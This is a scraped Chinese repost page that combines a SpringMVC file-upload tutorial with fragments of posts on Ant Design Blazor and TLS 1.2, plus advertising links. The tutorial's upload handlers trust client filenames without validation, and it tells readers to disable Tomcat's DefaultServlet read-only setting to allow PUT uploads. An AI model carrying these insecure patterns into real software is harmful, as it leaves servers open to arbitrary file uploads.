MIT條款可與其他授權條款並存。另外,MIT條款也是自由軟件基金會(FSF)所認可的自由軟件授權條款,與GPL兼容。

二、Ant Design Blazor的社區貢獻

該庫是國內目前社區宣傳度做的最好的一款Blazor UI組件庫,對於Blazor的社區推廣起到很大的作用,Dotnet9是通過該庫作者的一篇文章《如何用 Blazor 實現 Ant Design 組件庫?》開始關注Blazor的,關於該庫作者的心路歷程,大家可點擊原文了解。

距離作者發文已有3月之久,文中作者的部分期望應該說是實現了一個個小目標了,也體現在了對社區的貢獻上(對Blazor推廣作用):

2.1 項目關注度

作者將庫發布在Github上,README支持中英文,日常代碼提交使用英文,讓全球的.Neter參与其中,使得更多的社區成員開始關注Ant Design Blazor,也使得更多的社區成員開始關注Blazor的發展了。

庫作者發文時star統計(2020年03月21日)

3個月後的今天star統計(2020年06月20日)

2.2 Ant Design官方認可

原文作者的小期望:

在為了與官方高度一致上的努力,還會繼續。希望有一天能在豐富 Blazor 生態的同時,還能成為被 Ant Design 生態認可的框架實現,能成為他們 Design 夢的一個延續。

Ant Design官方前端實現介紹鏈接

2.3 微軟官方認可

微軟Build2020開發者大會Blazor介紹中,提及Ant Design Pro。

一圖勝千言,得到微軟認可是對作者最大的獎勵,也是對社區的最好宣傳。

三、Ant Design Blazor UI庫組件介紹

Ant Design Blazor UI組件瀏覽地址:https://ant-design-blazor.github.io/

Ant Design Blazor的開發初衷是盡量與Ant Design組件庫一致,可對比查看:Ant Design

下面只對部分組件截圖介紹,更多組件請戳上面鏈接查看:

3.1 首頁介紹

網站風格和Ant Design官網高度一致,更方便熟悉Ant Design組件的朋友使用。

3.2 組件概覽

組件整體印象,這隻是其中一部分,豐富的組件需要點擊Ant Design Blazor了解更多喲。

四、Ant Design Blazor後續計劃

目前組件開發基本已經完成,可應用於常規項目開發,組件庫後續計劃:

  • 6月底發布0.1版本;
  • 添加測試、完善文檔、企業級應用和反饋;
  • 完成一個開箱即用的模板(偉大目標,像Ant Design Pro靠攏);
  • 添加頁面生成工具,類似UMI添加block,查看Ant Design的區塊介紹。

五、Ant Design Blazor技術交流

  • 微信群
    可添加作者微信號拉你入群:JamesYeungMVP

  • 釘釘群

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※回頭車貨運收費標準

SpringMVC之文件上傳

一、環境搭建

1、新建項目

(1)在” main”目錄下新建” java”與” resources”目錄

(2)將” java”設置為”Sources Root”

(3)將” resources”設置為”Resources Root”

(4)在”java”目錄下新建”StudyProject.Controller”包

(5)在”StudyProject.Controller”包下新建”TestController”類

(6)在”resources”目錄下新建”Spring.xml”

(7)在”WEB-INF”目錄下新建文件夾”Pages”

(8)在“Pages”目錄下新建”success.jsp”

2、整體框架

3、TestController類和success.jsp

(1)TestController類

原代碼

1 package StudyProject.Controller;
2 
3 public class TestController {
4 }

編寫前端控制器及路徑

修改后

1 package StudyProject.Controller;
2 
3 import org.springframework.stereotype.Controller;
4 import org.springframework.web.bind.annotation.RequestMapping;
5 
6 @Controller
7 @RequestMapping(path="/testController")
8 public class TestController {
9 }

(2)success.jsp

原代碼

1 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 <html>
3 <head>
4     <title>Title</title>
5 </head>
6 <body>
7 
8 </body>
9 </html>

添加一個跳轉成功提示

修改后

 1 <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
 2 <html>
 3 <head>
 4     <title>Title</title>
 5 </head>
 6 <body>
 7 
 8     <h3>跳轉成功</h3>
 9 
10 </body>
11 </html>

4、配置文件

(1)pom.xml

原代碼

1   <properties>
2     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
3     <maven.compiler.source>1.7</maven.compiler.source>
4     <maven.compiler.target>1.7</maven.compiler.target>
5   </properties>

修改版本,並且加上spring.version

修改后

1   <properties>
2     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
3     <maven.compiler.source>14.0.1</maven.compiler.source>
4     <maven.compiler.target>14.0.1</maven.compiler.target>
5     <spring.version>5.0.2.RELEASE</spring.version>
6   </properties>

原代碼

1   <dependencies>
2     <dependency>
3       <groupId>junit</groupId>
4       <artifactId>junit</artifactId>
5       <version>4.11</version>
6       <scope>test</scope>
7     </dependency>
8   </dependencies>

在<dependencies></dependency>里加入坐標依賴,原有的可以刪去

修改后

 1   <!-- 導入坐標依賴 -->
 2   <dependencies>
 3     <dependency>
 4       <groupId>org.springframework</groupId>
 5       <artifactId>spring-context</artifactId>
 6       <version>${spring.version}</version>
 7     </dependency>
 8     <dependency>
 9       <groupId>org.springframework</groupId>
10       <artifactId>spring-web</artifactId>
11       <version>${spring.version}</version>
12     </dependency>
13     <dependency>
14       <groupId>org.springframework</groupId>
15       <artifactId>spring-webmvc</artifactId>
16       <version>${spring.version}</version>
17     </dependency>
18     <dependency>
19       <groupId>javax.servlet</groupId>
20       <artifactId>servlet-api</artifactId>
21       <version>2.5</version>
22       <scope>provided</scope>
23     </dependency>
24     <dependency>
25       <groupId>javax.servlet.jsp</groupId>
26       <artifactId>jsp-api</artifactId>
27       <version>2.0</version>
28       <scope>provided</scope>
29     </dependency>
30   </dependencies>

(2)web.xml

原代碼

1 <!DOCTYPE web-app PUBLIC
2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
4 
5 <web-app>
6   <display-name>Archetype Created Web Application</display-name>
7 </web-app>

配置前段控制器與解決中文亂碼的過濾器

修改后

 1 <!DOCTYPE web-app PUBLIC
 2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
 4 
 5 <web-app>
 6   <display-name>Archetype Created Web Application</display-name>
 7 
 8   <!--配置解決中文亂碼的過濾器-->
 9   <filter>
10     <filter-name>characterEncodingFilter</filter-name>
11     <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
12     <init-param>
13       <param-name>encoding</param-name>
14       <param-value>UTF-8</param-value>
15     </init-param>
16   </filter>
17   <filter-mapping>
18   <filter-name>characterEncodingFilter</filter-name>
19   <url-pattern>/*</url-pattern>
20   </filter-mapping>
21 
22   <!-- 配置前端控制器 -->
23   <servlet>
24     <servlet-name>dispatcherServlet</servlet-name>
25     <!-- 創建前端控制器DispatcherServlet對象 -->
26     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
27     <!-- 使前端控制器初始化時讀取Spring.xml文件創建Spring核心容器 -->
28     <init-param>
29       <param-name>contextConfigLocation</param-name>
30       <param-value>classpath*:Spring.xml</param-value>
31     </init-param>
32     <!-- 設置該Servlet的優先級別為最高,使之最早創建(在應用啟動時就加載並初始化這個servlet -->
33     <load-on-startup>1</load-on-startup>
34   </servlet>
35   <servlet-mapping>
36     <servlet-name>dispatcherServlet</servlet-name>
37     <url-pattern>/</url-pattern>
38   </servlet-mapping>
39 
40 </web-app>

(3)Spring.xml

原代碼

1 <?xml version="1.0" encoding="UTF-8"?>
2 <beans xmlns="http://www.springframework.org/schema/beans"
3        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4        xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
5 
6 </beans>

配置spring創建容器時掃描的包、視圖解析器、開啟spring註解支持等

修改后

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <beans xmlns="http://www.springframework.org/schema/beans"
 3        xmlns:mvc="http://www.springframework.org/schema/mvc"
 4        xmlns:context="http://www.springframework.org/schema/context"
 5        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 6        xsi:schemaLocation="
 7         http://www.springframework.org/schema/beans
 8         http://www.springframework.org/schema/beans/spring-beans.xsd
 9         http://www.springframework.org/schema/mvc
10         http://www.springframework.org/schema/mvc/spring-mvc.xsd
11         http://www.springframework.org/schema/context
12         http://www.springframework.org/schema/context/spring-context.xsd">
13 
14     <!-- 配置spring創建容器時掃描的包 -->
15     <context:component-scan base-package="StudyProject.Controller"></context:component-scan>
16 
17     <!-- 配置視圖解析器,用於解析項目跳轉到的文件的位置 -->
18     <bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
19         <!-- 尋找包的路徑 -->
20         <property name="prefix" value="/WEB-INF/pages/"></property>
21         <!-- 尋找文件的後綴名 -->
22         <property name="suffix" value=".jsp"></property>
23     </bean>
24 
25     <!-- 配置spring開啟註解mvc的支持 -->
26     <mvc:annotation-driven></mvc:annotation-driven>
27 </beans>

5、Tomcat服務器(本地已建SpringMVC項目,Spring_MVC項目僅做示範)

點擊”Add Configurations”配置Tomcat服務器

二、文件上傳

1、傳統方式上傳文件

(1)TestController類

在控制器內部新增”testMethod_Traditional”方法

 1 @Controller
 2 @RequestMapping(path="/testController")
 3 public class TestController {
 4 
 5     @RequestMapping(path="/testMethod_Traditional")
 6     public String testMethod_Traditional(HttpServletRequest request) throws Exception {
 7         System.out.println("執行了testMethod_Traditional方法");
 8 
 9         //獲取文件上傳目錄
10         String path = request.getSession().getServletContext().getRealPath("/uploads");
11         //創建file對象
12         File file = new File(path);
13         //判斷路徑是否存在,若不存在,創建該路徑
14         if (!file.exists()) {
15             file.mkdir();
16         }
17 
18         //創建磁盤文件項工廠
19         DiskFileItemFactory factory = new DiskFileItemFactory();
20         ServletFileUpload fileUpload = new ServletFileUpload(factory);
21         //解析request對象
22         List<FileItem> list = fileUpload.parseRequest(request);
23         //遍歷
24         for (FileItem fileItem:list) {
25             // 判斷文件項是普通字段,還是上傳的文件
26             if (fileItem.isFormField()) {
27                 //普通字段
28             } else {
29                 //上傳文件項
30                 //獲取上傳文件項的名稱
31                 String filename = fileItem.getName();
32                 String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
33                 filename = uuid+"_"+filename;
34                 //上傳文件
35                 fileItem.write(new File(file,filename));
36                 //刪除臨時文件
37                 fileItem.delete();
38             }
39         }
40 
41         System.out.println("上傳路徑:"+path);
42         System.out.println("上傳成功");
43         return "success";
44     }
45 
46 }

(2)index.jsp

添加form表單

1     <form action="testController/testMethod_Traditional" method="post" enctype="multipart/form-data">
2         圖片 <input type="file" name="uploadfile_Traditional"> <br>
3         <input type="submit" value="傳統方式上傳文件">
4     </form>

(3)結果演示

點擊服務器”SpringMVC”右側的運行按鈕

選擇文件然後進行上傳

點擊上傳按鈕后,執行成功,跳到”success.jsp”界面显示跳轉成功

在IDEA輸出台查看文件路徑

按照路徑查看文件是否上傳成功

2、SpringMVC方式上傳文件

(1)pom.xml添加文件上傳坐標依賴

在pom.xml文件<dependencies></dependencies>內添加文件上傳坐標依賴

 1     <!-- 文件上傳 -->
 2     <dependency>
 3       <groupId>commons-fileupload</groupId>
 4       <artifactId>commons-fileupload</artifactId>
 5       <version>1.3.1</version>
 6     </dependency>
 7     <dependency>
 8       <groupId>commons-io</groupId>
 9       <artifactId>commons-io</artifactId>
10       <version>2.4</version>
11     </dependency>

(2)Spring.xml配置文件解析器對象

在Spring.xml文件<beans></beans>內配置文件解析器對象

1     <!-- 配置文件解析器對象 -->
2     <bean id="multipartResolver"
3           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
4         <property name="defaultEncoding" value="utf-8"></property>
5         <property name="maxUploadSize" value="10485760"></property>
6     </bean>

(3)TestController類

在控制器內部新增”testMethod_SpringMVC”方法

 1 @Controller
 2 @RequestMapping(path="/testController")
 3 public class TestController {
 4 
 5     @RequestMapping(path="/testMethod_SpringMVC")
 6     public String testMethod_SpringMVC(HttpServletRequest request,MultipartFile uploadfile_SpringMVC) throws Exception {
 7         System.out.println("執行了testMethod_SpringMVC方法");
 8 
 9         //獲取文件上傳目錄
10         String path = request.getSession().getServletContext().getRealPath("/uploads");
11         //創建file對象
12         File file = new File(path);
13         //判斷路徑是否存在,若不存在,創建該路徑
14         if (!file.exists()) {
15             file.mkdir();
16         }
17 
18         //獲取到上傳文件的名稱
19         String filename = uploadfile_SpringMVC.getOriginalFilename();
20         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
21         filename = uuid+"_"+filename;
22         //上傳文件
23         uploadfile_SpringMVC.transferTo(new File(file,filename));
24 
25         System.out.println("上傳路徑:"+path);
26         System.out.println("上傳成功");
27         return "success";
28     }
29 
30 }

(4)index.jsp

添加form表單

1     <form action="testController/testMethod_SpringMVC" method="post" enctype="multipart/form-data">
2         圖片 <input type="file" name="uploadfile_SpringMVC"> <br>
3         <input type="submit" value="SpringMVC上傳文件">
4     </form>

(5)結果演示

點擊服務器”SpringMVC”右側的運行按鈕

選擇文件然後進行上傳

點擊上傳按鈕后,執行成功,跳到”success.jsp”界面显示跳轉成功

在IDEA輸出台查看文件路徑

按照路徑查看文件是否上傳成功

3、跨服務器上傳文件

(1)新建”FileuploadServer”項目(過程不再演示)

不需要建立”java””resources”等文件夾,只需要”index.jsp”显示界面即可

“index.jsp”代碼

1 <html>
2 <body>
3 <h2>Hello! FileuploadServer</h2>
4 </body>
5 </html>

(2)配置服務器

點擊”Edit Configurations”配置Tomcat服務器

為與”SpringMVC”服務器區分,修改”HTTP port”為”9090”,修改”JMX port”為”1090”

(3)pom.xml添加跨服務器文件上傳坐標依賴

 1     <!-- 跨服務器文件上傳 -->
 2     <dependency>
 3       <groupId>com.sun.jersey</groupId>
 4       <artifactId>jersey-core</artifactId>
 5       <version>1.18.1</version>
 6     </dependency>
 7     <dependency>
 8       <groupId>com.sun.jersey</groupId>
 9       <artifactId>jersey-client</artifactId>
10       <version>1.18.1</version>
11     </dependency>

(4)TestController類

在控制器內部新增”testMethod_AcrossServer”方法

 1 @Controller
 2 @RequestMapping(path="/testController")
 3 public class TestController {
 4 
 5     @RequestMapping(path="/testMethod_AcrossServer")
 6     public String testMethod_AcrossServer(MultipartFile uploadfile_AcrossServer) throws Exception {
 7         System.out.println("執行了testMethod_AcrossServer方法");
 8 
 9         //定義上傳文件服務器路徑
10         String path = "http://localhost:9090/FileuploadServer_war_exploded/uploads/";
11 
12         //獲取到上傳文件的名稱
13         String filename = uploadfile_AcrossServer.getOriginalFilename();
14         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
15         filename = uuid+"_"+filename;
16 
17         //創建客戶端對象
18         Client client = Client.create();
19         //連接圖片服務器
20         WebResource webResourcer = client.resource(path+filename);
21         //向圖片服務器上傳文件
22         webResourcer.put(uploadfile_AcrossServer.getBytes());
23 
24         System.out.println("上傳路徑:"+path);
25         System.out.println("上傳成功");
26         return "success";
27     }
28 
29 }

(5)index.jsp

添加form表單

1     <form action="testController/testMethod_AcrossServer" method="post" enctype="multipart/form-data">
2         圖片 <input type="file" name="uploadfile_AcrossServer"> <br>
3         <input type="submit" value="跨服務器上傳文件">
4     </form>

(6)結果演示

運行”FileuploadServer”服務器

運行”SpringMVC”服務器

在”FileuploadServer”項目的”target/FileuploadServer/”目錄下新建文件夾”uploads”

選擇文件並進行上傳,上傳成功跳轉到”success.jsp”

查看IDEA輸出信息

此時路徑應為”FileuploadServer/target/FileuploadServer/uploads”,在路徑下查看文件是否上傳成功

三、注意事項

1、傳統方式上傳文件

傳統方式上傳時不需要在Spring.xml內配置文件解析器對象使用該方法時需要註釋掉該對象,否則會造成運行成功但上傳文件為空。

1     <!-- 配置文件解析器對象 -->
2     <bean id="multipartResolver"
3           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
4         <property name="defaultEncoding" value="utf-8"></property>
5         <property name="maxUploadSize" value="10485760"></property>
6     </bean>

即使用傳統方式上傳文件時,應當註釋掉該段代碼

2、跨服務器上傳文件

(1)需要修改Tomcat服務器的web.xml配置文件的權限,增加可以寫入的權限,否則會出現405的錯誤。如我所下載的Tomcat-9.0.36的web.xml路徑為”apache-tomcat-9.0.36/conf/web.xml”

此時IEDA輸出為

web.xml文件修改處原內容

應修改為

修改后的代碼

 1     <servlet>
 2         <servlet-name>default</servlet-name>
 3         <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
 4         <init-param>
 5             <param-name>debug</param-name>
 6             <param-value>0</param-value>
 7         </init-param>
 8         <init-param>
 9             <param-name>listings</param-name>
10             <param-value>false</param-value>
11         </init-param>
12         <init-param>
13             <param-name>readonly</param-name>
14             <param-value>false</param-value>
15         </init-param>
16         <load-on-startup>1</load-on-startup>
17     </servlet>

(2)在跨服務器上傳文件時,需要在”FileuploadServer”項目的”target/FileuploadServer/”目錄下新建文件夾”uploads”,否則會出現409的錯誤

四、完整代碼

1、pom.xml(SpringMVC)

  1 <?xml version="1.0" encoding="UTF-8"?>
  2 
  3 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5   <modelVersion>4.0.0</modelVersion>
  6 
  7   <groupId>org.example</groupId>
  8   <artifactId>SpringMVC</artifactId>
  9   <version>1.0-SNAPSHOT</version>
 10   <packaging>war</packaging>
 11 
 12   <name>SpringMVC Maven Webapp</name>
 13   <!-- FIXME change it to the project's website -->
 14   <url>http://www.example.com</url>
 15 
 16   <properties>
 17     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
 18     <maven.compiler.source>14.0.1</maven.compiler.source>
 19     <maven.compiler.target>14.0.1</maven.compiler.target>
 20     <spring.version>5.0.2.RELEASE</spring.version>
 21   </properties>
 22 
 23   <!-- 導入坐標依賴 -->
 24   <dependencies>
 25     <dependency>
 26       <groupId>org.springframework</groupId>
 27       <artifactId>spring-context</artifactId>
 28       <version>${spring.version}</version>
 29     </dependency>
 30     <dependency>
 31       <groupId>org.springframework</groupId>
 32       <artifactId>spring-web</artifactId>
 33       <version>${spring.version}</version>
 34     </dependency>
 35     <dependency>
 36       <groupId>org.springframework</groupId>
 37       <artifactId>spring-webmvc</artifactId>
 38       <version>${spring.version}</version>
 39     </dependency>
 40     <dependency>
 41       <groupId>javax.servlet</groupId>
 42       <artifactId>servlet-api</artifactId>
 43       <version>2.5</version>
 44       <scope>provided</scope>
 45     </dependency>
 46     <dependency>
 47       <groupId>javax.servlet.jsp</groupId>
 48       <artifactId>jsp-api</artifactId>
 49       <version>2.0</version>
 50       <scope>provided</scope>
 51     </dependency>
 52 
 53     <!-- 文件上傳(採用傳統方式上傳時需註釋掉該部分) -->
 54     <dependency>
 55       <groupId>commons-fileupload</groupId>
 56       <artifactId>commons-fileupload</artifactId>
 57       <version>1.3.1</version>
 58     </dependency>
 59     <dependency>
 60       <groupId>commons-io</groupId>
 61       <artifactId>commons-io</artifactId>
 62       <version>2.4</version>
 63     </dependency>
 64 
 65     <!-- 跨服務器文件上傳 -->
 66     <dependency>
 67       <groupId>com.sun.jersey</groupId>
 68       <artifactId>jersey-core</artifactId>
 69       <version>1.18.1</version>
 70     </dependency>
 71     <dependency>
 72       <groupId>com.sun.jersey</groupId>
 73       <artifactId>jersey-client</artifactId>
 74       <version>1.18.1</version>
 75     </dependency>
 76 
 77   </dependencies>
 78 
 79   <build>
 80     <finalName>SpringMVC</finalName>
 81     <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
 82       <plugins>
 83         <plugin>
 84           <artifactId>maven-clean-plugin</artifactId>
 85           <version>3.1.0</version>
 86         </plugin>
 87         <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
 88         <plugin>
 89           <artifactId>maven-resources-plugin</artifactId>
 90           <version>3.0.2</version>
 91         </plugin>
 92         <plugin>
 93           <artifactId>maven-compiler-plugin</artifactId>
 94           <version>3.8.0</version>
 95         </plugin>
 96         <plugin>
 97           <artifactId>maven-surefire-plugin</artifactId>
 98           <version>2.22.1</version>
 99         </plugin>
100         <plugin>
101           <artifactId>maven-war-plugin</artifactId>
102           <version>3.2.2</version>
103         </plugin>
104         <plugin>
105           <artifactId>maven-install-plugin</artifactId>
106           <version>2.5.2</version>
107         </plugin>
108         <plugin>
109           <artifactId>maven-deploy-plugin</artifactId>
110           <version>2.8.2</version>
111         </plugin>
112       </plugins>
113     </pluginManagement>
114   </build>
115 </project>

2、web.xml(SpringMVC)

 1 <!DOCTYPE web-app PUBLIC
 2  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 3  "http://java.sun.com/dtd/web-app_2_3.dtd" >
 4 
 5 <web-app>
 6   <display-name>Archetype Created Web Application</display-name>
 7 
 8   <!--配置解決中文亂碼的過濾器-->
 9   <filter>
10     <filter-name>characterEncodingFilter</filter-name>
11     <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
12     <init-param>
13       <param-name>encoding</param-name>
14       <param-value>UTF-8</param-value>
15     </init-param>
16   </filter>
17   <filter-mapping>
18   <filter-name>characterEncodingFilter</filter-name>
19   <url-pattern>/*</url-pattern>
20   </filter-mapping>
21 
22   <!-- 配置前端控制器 -->
23   <servlet>
24     <servlet-name>dispatcherServlet</servlet-name>
25     <!-- 創建前端控制器DispatcherServlet對象 -->
26     <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
27     <!-- 使前端控制器初始化時讀取Spring.xml文件創建Spring核心容器 -->
28     <init-param>
29       <param-name>contextConfigLocation</param-name>
30       <param-value>classpath*:Spring.xml</param-value>
31     </init-param>
32     <!-- 設置該Servlet的優先級別為最高,使之最早創建(在應用啟動時就加載並初始化這個servlet -->
33     <load-on-startup>1</load-on-startup>
34   </servlet>
35   <servlet-mapping>
36     <servlet-name>dispatcherServlet</servlet-name>
37     <url-pattern>/</url-pattern>
38   </servlet-mapping>
39 
40 </web-app>

3、Spring.xml(SpringMVC)

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <beans xmlns="http://www.springframework.org/schema/beans"
 3        xmlns:mvc="http://www.springframework.org/schema/mvc"
 4        xmlns:context="http://www.springframework.org/schema/context"
 5        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 6        xsi:schemaLocation="
 7         http://www.springframework.org/schema/beans
 8         http://www.springframework.org/schema/beans/spring-beans.xsd
 9         http://www.springframework.org/schema/mvc
10         http://www.springframework.org/schema/mvc/spring-mvc.xsd
11         http://www.springframework.org/schema/context
12         http://www.springframework.org/schema/context/spring-context.xsd">
13 
14     <!-- 配置spring創建容器時掃描的包 -->
15     <context:component-scan base-package="StudyProject.Controller"></context:component-scan>
16 
17     <!-- 配置視圖解析器,用於解析項目跳轉到的文件的位置 -->
18     <bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
19         <!-- 尋找包的路徑 -->
20         <property name="prefix" value="/WEB-INF/pages/"></property>
21         <!-- 尋找文件的後綴名 -->
22         <property name="suffix" value=".jsp"></property>
23     </bean>
24 
25     <!-- 配置文件解析器對象 -->
26     <bean id="multipartResolver"
27           class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
28         <property name="defaultEncoding" value="utf-8"></property>
29         <property name="maxUploadSize" value="10485760"></property>
30     </bean>
31     
32     <!-- 配置spring開啟註解mvc的支持 -->
33     <mvc:annotation-driven></mvc:annotation-driven>
34 </beans>

4、TestController類(SpringMVC)

  1 package StudyProject.Controller;
  2 
  3 import com.sun.jersey.api.client.Client;
  4 import com.sun.jersey.api.client.WebResource;
  5 import org.apache.commons.fileupload.FileItem;
  6 import org.apache.commons.fileupload.disk.DiskFileItemFactory;
  7 import org.apache.commons.fileupload.servlet.ServletFileUpload;
  8 import org.springframework.stereotype.Controller;
  9 import org.springframework.web.bind.annotation.RequestMapping;
 10 import org.springframework.web.multipart.MultipartFile;
 11 import javax.servlet.http.HttpServletRequest;
 12 import java.io.File;
 13 import java.util.List;
 14 import java.util.UUID;
 15 
 16 @Controller
 17 @RequestMapping(path="/testController")
 18 public class TestController {
 19 
 20     @RequestMapping(path="/testMethod_Traditional")
 21     public String testMethod_Traditional(HttpServletRequest request) throws Exception {
 22         System.out.println("執行了testMethod_Traditional方法");
 23 
 24         //獲取文件上傳目錄
 25         String path = request.getSession().getServletContext().getRealPath("/uploads");
 26         //創建file對象
 27         File file = new File(path);
 28         //判斷路徑是否存在,若不存在,創建該路徑
 29         if (!file.exists()) {
 30             file.mkdir();
 31         }
 32 
 33         //創建磁盤文件項工廠
 34         DiskFileItemFactory factory = new DiskFileItemFactory();
 35         ServletFileUpload fileUpload = new ServletFileUpload(factory);
 36         //解析request對象
 37         List<FileItem> list = fileUpload.parseRequest(request);
 38         //遍歷
 39         for (FileItem fileItem:list) {
 40             // 判斷文件項是普通字段,還是上傳的文件
 41             if (fileItem.isFormField()) {
 42                 //普通字段
 43             } else {
 44                 //上傳文件項
 45                 //獲取上傳文件項的名稱
 46                 String filename = fileItem.getName();
 47                 String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
 48                 filename = uuid+"_"+filename;
 49                 //上傳文件
 50                 fileItem.write(new File(file,filename));
 51                 //刪除臨時文件
 52                 fileItem.delete();
 53             }
 54         }
 55 
 56         System.out.println("上傳路徑:"+path);
 57         System.out.println("上傳成功");
 58         return "success";
 59     }
 60 
 61     @RequestMapping(path="/testMethod_SpringMVC")
 62     public String testMethod_SpringMVC(HttpServletRequest request,MultipartFile uploadfile_SpringMVC) throws Exception {
 63         System.out.println("執行了testMethod_SpringMVC方法");
 64 
 65         //獲取文件上傳目錄
 66         String path = request.getSession().getServletContext().getRealPath("/uploads");
 67         //創建file對象
 68         File file = new File(path);
 69         //判斷路徑是否存在,若不存在,創建該路徑
 70         if (!file.exists()) {
 71             file.mkdir();
 72         }
 73 
 74         //獲取到上傳文件的名稱
 75         String filename = uploadfile_SpringMVC.getOriginalFilename();
 76         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
 77         filename = uuid+"_"+filename;
 78         //上傳文件
 79         uploadfile_SpringMVC.transferTo(new File(file,filename));
 80 
 81         System.out.println("上傳路徑:"+path);
 82         System.out.println("上傳成功");
 83         return "success";
 84     }
 85 
 86     @RequestMapping(path="/testMethod_AcrossServer")
 87     public String testMethod_AcrossServer(MultipartFile uploadfile_AcrossServer) throws Exception {
 88         System.out.println("執行了testMethod_AcrossServer方法");
 89 
 90         //定義上傳文件服務器路徑
 91         String path = "http://localhost:9090/FileuploadServer_war_exploded/uploads/";
 92 
 93         //獲取到上傳文件的名稱
 94         String filename = uploadfile_AcrossServer.getOriginalFilename();
 95         String uuid = UUID.randomUUID().toString().replaceAll("-","").toUpperCase();
 96         filename = uuid+"_"+filename;
 97 
 98         //創建客戶端對象
 99         Client client = Client.create();
100         //連接圖片服務器
101         WebResource webResourcer = client.resource(path+filename);
102         //向圖片服務器上傳文件
103         webResourcer.put(uploadfile_AcrossServer.getBytes());
104 
105         System.out.println("上傳路徑:"+path);
106         System.out.println("上傳成功");
107         return "success";
108     }
109 
110 }

5、index.jsp(SpringMVC)

 1 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
 2 <html>
 3 <head>
 4     <title>Title</title>
 5 </head>
 6 <body>
 7 
 8     <form action="testController/testMethod_Traditional" method="post" enctype="multipart/form-data">
 9         圖片 <input type="file" name="uploadfile_Traditional"> <br>
10         <input type="submit" value="傳統方式上傳文件">
11     </form>
12 
13     <br><br><br>
14 
15     <form action="testController/testMethod_SpringMVC" method="post" enctype="multipart/form-data">
16         圖片 <input type="file" name="uploadfile_SpringMVC"> <br>
17         <input type="submit" value="SpringMVC上傳文件">
18     </form>
19 
20     <br><br><br>
21 
22     <form action="testController/testMethod_AcrossServer" method="post" enctype="multipart/form-data">
23         圖片 <input type="file" name="uploadfile_AcrossServer"> <br>
24         <input type="submit" value="跨服務器上傳文件">
25     </form>
26 
27 </body>
28 </html>

6、success.jsp(SpringMVC)

 1 <%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
 2 <html>
 3 <head>
 4     <title>Title</title>
 5 </head>
 6 <body>
 7 
 8     <h3>跳轉成功</h3>
 9 
10 </body>
11 </html>

7、index.jsp(FileuploadServer)

1 <html>
2 <body>
3 <h2>Hello! FileuploadServer</h2>
4 </body>
5 </html>

學習資料來源:黑馬程序員

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

TLS1.2協議設計原理

目錄

  • 前言
  • 為什麼需要TLS協議
  • 發展歷史
  • 協議設計目標
  • 記錄協議
    • 握手步驟
    • 握手協議
      • Hello Request
      • Client Hello
      • Server Hello
      • Certificate
      • Server Key Exchange
      • Certificate Request
      • Server Hello Done
      • Client Certificate
      • Client Key Exchange
      • Certificate Verify
      • Finished
    • 改變密碼標準協議
    • 警報協議
    • 應用程序數據協議
  • 結語
  • 參考文獻

前言

最近對TLS1.2協議處理流程進行了學習及實現,本篇文章對TLS1.2的理論知識和處理流程進行分析,TLS協議的實現建議直接看The Transport Layer Security (TLS) Protocol Version 1.2

為什麼需要TLS協議

通常我們使用TCP協議或UDP協議進行網絡通信。TCP協議提供一種面向連接的、可靠的字節流服務。但是TCP並不提供數據的加密,也不提供數據的合法性校驗。

我們通常可以對數據進行加密、簽名、摘要等操作來保證數據的安全。目前常見的加密方式有對稱加密和非對稱加密。使用對稱加密,雙方使用共享密鑰。

